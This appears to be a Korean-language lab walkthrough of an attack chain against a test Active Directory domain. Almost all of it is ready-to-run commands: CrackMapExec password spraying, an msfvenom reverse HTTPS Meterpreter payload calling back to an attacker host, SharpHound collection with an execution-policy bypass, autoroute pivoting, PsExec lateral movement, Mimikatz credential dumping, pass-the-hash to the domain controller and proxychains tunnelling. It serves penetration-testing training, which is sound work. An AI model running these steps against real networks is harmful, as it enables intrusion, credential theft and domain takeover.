Security

Hacking Windows Domain Active Directory Series - Episode 01

Hacking Windows Domain Active Directory Series - Episode 01

In this document, the following attack scenarios were covered:

  • Password Spraying attack with CrackMapExec
  • Initial Access with a domain user account
  • Identifying viable attack path to perform lateral movement and privilege escalation with Bloodhound/Sharphound
  • Network Pivoting with Metasploit/Meterpreter autoroute, socks_proxy, and also proxychains to support external toolings
  • Lateral Movement with PsExec, including passing the hash (NTLM)
  • Credentials dumping with Meterpreter Kiwi module (Mimikatz)

1. 패스워드 스프레이 공격

이 시나리오 에서는 먼저 윈도우 10 (192.168.10.140) 에 있은 web server 에서 도메인 유저 목록을 얻을수가 있다.

유저 목록으로 부터 패스워드 스프레이 공격을 해보자.

users.txt 파일을 만들자.

Copy
nano users.txt

users.txt
Copy
Administrator
andrew
ava
avery
BRoss
emily
emma
grace
Guest
jayden
krbtgt
michael
olivia
sofia
Copy
crackmapexec smb 192.168.50.11 -u users.txt -p mypassword2@
crackmapexec smb 192.168.50.11 -u users.txt -p mypassword2@ --continue-on-success

두개의 도메인 사용자 emily와 ava를 찾았다.

윈도우 10 (192.168.10.140) emily 계정으로 rdp 연결을 하자.

payload 파일을 준비하자.

Copy
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.50.9 LPORT=8443 -f exe > 8443.exe
msfconsole
use exploit/multi/handler
set payload windows/x64/meterepreter/reverse_https
set lport 8443
set lhost 192.168.50.9
run

2. smb 공유

smb 공유를 하자.

Copy
find / -name smbserver.py
python /usr/share/doc/python3-impacket/examples/smbserver.py share . -smb2support -username user -password password

연결이 되었다.
8443.exe 파일을 복사하고 실행하자.
meterpreter 연결이 되었다. google 에서 github 에 SharpHound 로 들어가자.
칼리에서 SharpHound.ps1 을 다운로드 하자.
smb 공유를 이용해서 윈도우 10 (192.168.10.140)로 복사하자.

3. BloodHound

윈도우 10 (192.168.10.140) cmd 에서 실행하자.

Copy
Import-Module .\SharpHound.ps1
powershell -executionpolicy bypass
Import-Module .\SharpHound.ps1
Invoke-BloodHound -CollectionMethod All

참고로 윈도우 디펜더가 감지한다.

20230927001227_BloodHound.zip 파일이 생성된다.

칼리에서 BloodHound를 실행하자.

Copy
cd /usr/bin
./neo4j console
./BloodHound --no-sandbox

윈도우 10 (192.168.10.140) 에서 20230927001227_BloodHound.zip 파일을 위에서 설정한 smb 공유를 통해 칼리로 복사하자.

칼리에서 BloodHound 를 실행하고 20230927001227_BloodHound.zip 를 업로드 하자.

BloodHound 에서 조사를 해보면 emily 는 개발서버 (10.0.2.15) 관리자 이다.

또한 개발서버 (10.0.2.15)에는 bross 라는 계정에 대한 세션을 가지고 있다.

4. meterpreter lateral movement

윈도우 10 (192.168.10.140) cmd로 가서 다음 명령어로 개발서버 (10.0.2.15)에 접근 가능한지 화인해 보자.

Copy
dir \\10.0.2.15\C$
dir \\10.0.2.15\C$\Users\Administrator

접근 가능 하다는 것을 알수 있다.

칼리 meterpreter 로 가자.

Copy
search autoroute
use post/multi/manage/autoroute
show options
set SESSION 세션번호
run

psexec 를 이용해서 lateral movement 를 하자.

Copy
use exploit/windows/smb/psexec
show options
set payload windows/x64/meterpreter/bind_tcp
show options
set RHOST 10.0.2.15
set SMBUser emily
set SMBDomain rts.local
set SMBPass mypassword2@
run

개발 서버에 system 권한으로 접속 했다.

참고로 이부분은 defender에 의해 차단 된다.

5. kiwi 메모리 덤프

새로 연결된 meterpreter 세션으로 아래 명령어를 이용해 계정 정보를 덤프하자.

Copy
load kiwi
kiwi_cmd privilege::debug
kiwi_cmd sekurlsa::logonPasswords

bross 계정에 대한 ntlm 해쉬값을 확인할수 있다.

bross 계정으로 dc 에 접근하자.

Copy
background
set RHOST 10.0.2.7
set SMBUser bross
set SMBDomain rts.local
set SMBPass aad3c435b514a4eeaad3b935b51304fe:해쉬값
run

dc 연결에 성공한다.

6. meterpreter proxy server

meterpreter 외부에서 crackmapexec 를 이용해 dc에 접근 하려면 meterpreter 에 proxy server 기능이 필요하다.

Copy
search socks
use auxiliary/server/socks_proxy
show options
run

meterpreter 외부에서 다음 명령어를 실행하자.

Copy
netstat -tulpn

proxy server 가 1080에서 listen 하는 것을 확인할수 있다.

Copy
nano /etc/proxychains4.cof

아래와 같이 추가하자.

proxychains4.cof
Copy
socks5 127.0.0.1 1080

crackmapexe를 실행해 보자.

Copy
proxychains crackmapexec smb 10.0.2.7 -u bross -H 해쉬값

접속이 되고 관리자 권한도 확인 가능하다.

Copy
proxychains crackmapexec smb 10.0.2.7 -u bross -H 해쉬값 -x ipconfig

Reference